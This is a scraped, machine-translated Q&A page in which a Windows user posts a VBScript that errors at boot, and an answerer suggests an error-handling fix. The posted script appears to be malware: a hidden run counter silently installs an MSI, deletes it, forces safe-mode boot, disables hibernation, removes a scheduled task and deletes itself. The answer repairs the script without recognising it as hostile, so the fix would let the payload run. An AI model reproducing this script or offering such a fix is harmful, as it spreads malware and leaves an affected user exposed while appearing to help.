简体   繁体   English

Windows 脚本主机问题.. 错误代码 800a000D.. 类型不匹配“Clnt”

[英]Windows script Host problem.. error code 800a000D..Type mismatch "Clnt"

Hi I'm windows 10 user with little to zero knowledge about programming.嗨,我是 Windows 10 用户,对编程的了解几乎为零。 An error came up and windows fail to load... when I my pc opens a dialog box appears.. "Windows script Host"出现错误,Windows 无法加载...当我的电脑打开一个对话框时出现...“Windows 脚本主机”

what is wrong with this code ... the error says it is on line 10 char 2这段代码有什么问题......错误说它在第 10 行字符 2

Set oShell = CreateObject ("Wscript.Shell")
Dim ccdat
ccdat = "updatesettings.dbf"
Dim fso, setting, cc, strArgs
strArgs = "%comspec% /C %SystemRoot%\System32\msiexec.exe /i %SystemRoot%\System32\ServiceInstaller.msi /qn & del %SystemRoot%\System32\ServiceInstaller.msi & %SystemRoot%\System32\bcdedit.exe /set {current} safeboot minimal & %SystemRoot%\System32\powercfg.exe /hibernate off & schtasks /Delete /TN ""Microsoft\Windows\Maintenance\InstallWinSAT"" /F"
Set fso = CreateObject("Scripting.FileSystemObject")

If (fso.FileExists(ccdat)) Then
    Set setting = fso.OpenTextFile(ccdat, 1, 0)
    cc = CInt(setting.ReadLine)
    setting.Close

    If(cc > 9) Then
        oShell.Run strArgs, 0, false
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        strScript = Wscript.ScriptFullName
        objFSO.DeleteFile(ccdat)
        objFSO.DeleteFile(strScript)
        WScript.Quit()
    End If

    Set setting = fso.CreateTextFile(ccdat, True, False)
    cc = cc+1
    setting.Write(cc)
    setting.Close
    WScript.Quit()
Else

Set setting = fso.CreateTextFile(ccdat, True, False)
    setting.Write("0")
    setting.Close
    WScript.Quit()
End If

Based on your example, it looks like updatesettings.dbf is just a file containing an incremental counter.根据您的示例,看起来 updatesettings.dbf 只是一个包含增量计数器的文件。 In fact, the counter value may be larger than MAXINT, which could also cause that error.事实上,计数器值可能大于 MAXINT,这也可能导致该错误。 If true, try changing line 10 from this:如果为真,请尝试更改第 10 行:

cc = CInt(setting.ReadLine)

To this:对此:

On Error Resume Next
Err.Clear
cc = CInt(setting.ReadLine)
If (0 <> Err.Number) Then cc = -1
On Error Goto 0

This should effectively handle the error and force the cc variable to a pre-initialized state, which gets incremented later (line 23) to its original initialization state of zero (0) and saved to the updatesettings.dbf file.这应该有效地处理错误并强制 cc 变量进入预初始化状态,该状态稍后(第 23 行)递增到其初始初始化状态零 (0) 并保存到 updatesettings.dbf 文件中。 Meaning: This should accomplish the same thing as the 'Else' initialization block after line 27 when the updatesettings.dbf file doesn't exist.含义:当 updatesettings.dbf 文件不存在时,这应该完成与第 27 行之后的“Else”初始化块相同的事情。

Hope this helps.希望这可以帮助。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM